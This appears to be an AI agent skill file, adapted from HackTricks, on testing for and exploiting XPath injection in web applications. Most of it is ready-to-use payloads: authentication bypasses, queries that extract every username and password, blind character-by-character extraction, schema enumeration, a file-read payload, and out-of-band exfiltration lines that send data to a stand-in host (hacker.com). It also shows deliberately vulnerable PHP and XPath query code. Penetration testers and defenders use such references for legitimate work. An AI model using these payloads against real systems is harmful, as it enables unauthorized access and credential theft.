Hacktricks-skills xpath-injection

How to test for and exploit XPath injection vulnerabilities in web applications. Use this skill whenever the user mentions XPath injection, XML query vulnerabilities, authentication bypass via XPath, blind XPath attacks, OOB XPath exploitation, or needs to enumerate XML schemas through XPath. Trigger this skill for any security testing involving XML-based authentication, login forms with XML backends, or when analyzing applications that construct XPath queries from user input.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xpath-injection/SKILL.MD
source content

XPath Injection Testing

A skill for identifying and exploiting XPath injection vulnerabilities in web applications that construct XPath queries from user input.

When to Use This Skill

Use this skill when:

  • Testing login/authentication forms that may use XML backends
  • Analyzing applications that process XML data with user input
  • Enumerating XML document structures through injection points
  • Performing blind XPath exploitation
  • Conducting OOB (Out-of-Band) XPath attacks
  • Bypassing authentication via XPath injection

XPath Syntax Reference

Node Selection

ExpressionDescription
nodename
Selects all nodes with the specified name
/
Selection from the root node
//
Selects nodes matching from current node, anywhere in document
.
Selects the current node
..
Selects the parent of the current node
@
Selects attributes

Common Path Expressions

/bookstore           # Root element bookstore
bookstore/book       # All book children of bookstore
//book               # All book elements anywhere
bookstore//book      # All book descendants of bookstore
//@lang              # All lang attributes

Predicates for Filtering

/bookstore/book[1]           # First book element
/bookstore/book[last()]      # Last book element
/bookstore/book[last()-1]    # Penultimate book element
/bookstore/book[position()<3] # First two book elements
//title[@lang='en']          # Title elements with lang="en"
/bookstore/book[price>35.00] # Books with price > 35.00

Wildcards

*           # Matches any element node
@*          # Matches any attribute node
node()      # Matches any node of any kind

Authentication Bypass Techniques

Basic OR Bypass

Use these payloads in username and/or password fields:

' or '1'='1
" or "1"="1
' or ''='
" or ""="

Double OR Bypass (Single Vulnerable Field)

When only one field is vulnerable, use double OR:

' or /* or '
' or "a" or '
' or 1 or '
' or true() or '

Selective Account Selection

'or string-length(name(.))<10 or'     # Account with name length < 10
'or contains(name,'adm') or'          # First account with "adm" in name
'or position()=2 or'                  # Select 2nd account

Known Username Bypass

admin' or '
admin' or '1'='2

Null Byte Injection

Username: ' or 1]%00

String Extraction Payloads

Extract All Values

') or 1=1 or ('                          # Get all names
') or 1=1] | //user/password[('')=('     # Get all names and passwords
') or 2=1] | //user/node()[('')=('       # Get all values
')] | //./node()[('')=('                 # Get all values
')] | //node()[('')=('                   # Get all values

Extract Specific Fields

')] | //user/*[1] | a[('     # ID of all users
')] | //user/*[2] | a[('     # Name of all users
')] | //user/*[3] | a[('     # Password of all users
')] | //user/*[4] | a[('     # Account of all users

Null Byte Abuse

')] | //password%00           # All names and passwords

Blind XPath Exploitation

Length Testing

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='

Character Extraction

' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='

Codepoint Comparison

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Error-Based Detection

... and ( if ( $employee/role = 2 ) then error() else 0 )...

Schema Discovery

Count-Based Enumeration

and count(/*) = 1                    # Root element count
and count(/*[1]/*) = 2               # Count children of root
and count(/*[1]/*[1]/*) = 1          # Count grandchildren

Tag Name Discovery

and name(/*[1]) = "root"             # Confirm root tag name
and substring(name(/*[1]/*[1]),1,1) = "a"  # First char of tag name
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105  # Codepoint check

OOB (Out-of-Band) Exploitation

Data Exfiltration via doc()

# Basic OOB
 doc(concat("http://hacker.com/oob/", RESULTS))

# Extract specific data
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))

# URL-encoded data
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

# Using doc-available() (returns true/false)
doc-available(concat("http://hacker.com/oob/", RESULTS))

# Invert result
user not(doc-available(...))

Schema Exfiltration OOB

doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

File Reading

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Automated Tools

ToolDescriptionLink
xcatXPath injection testing toolhttps://xcat.readthedocs.io/
xxxpwnXPath injection exploitationhttps://github.com/feakk/xxxpwn
xxxpwn_smartEnhanced xxxpwnhttps://github.com/aayla-secura/xxxpwn_smart
xpath-blind-explorerBlind XPath enumerationhttps://github.com/micsoftvn/xpath-blind-explorer
XmlChorXML injection toolhttps://github.com/Harshal35/XMLCHOR

Testing Workflow

  1. Identify injection points - Look for login forms, search fields, or any input that might be used in XPath queries
  2. Test for vulnerability - Use basic OR bypass payloads like
    ' or '1'='1
  3. Determine output type - Is it reflected in response, error messages, or behavior change?
  4. Choose exploitation method:
    • Reflected output: Use string extraction payloads
    • Blind: Use length/character comparison or error-based
    • OOB capable: Use doc() or doc-available() functions
  5. Enumerate schema - Use count() and name() functions to map XML structure
  6. Extract data - Use appropriate payloads based on output type

Example XML Structure

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
    <name>pepe</name>
    <password>peponcio</password>
    <account>admin</account>
</user>
<user>
    <name>mark</name>
    <password>m12345</password>
    <account>regular</account>
</user>
</data>

Common Query Patterns

Authentication Query (Vulnerable)

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())

PHP Example (Vulnerable)

$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

References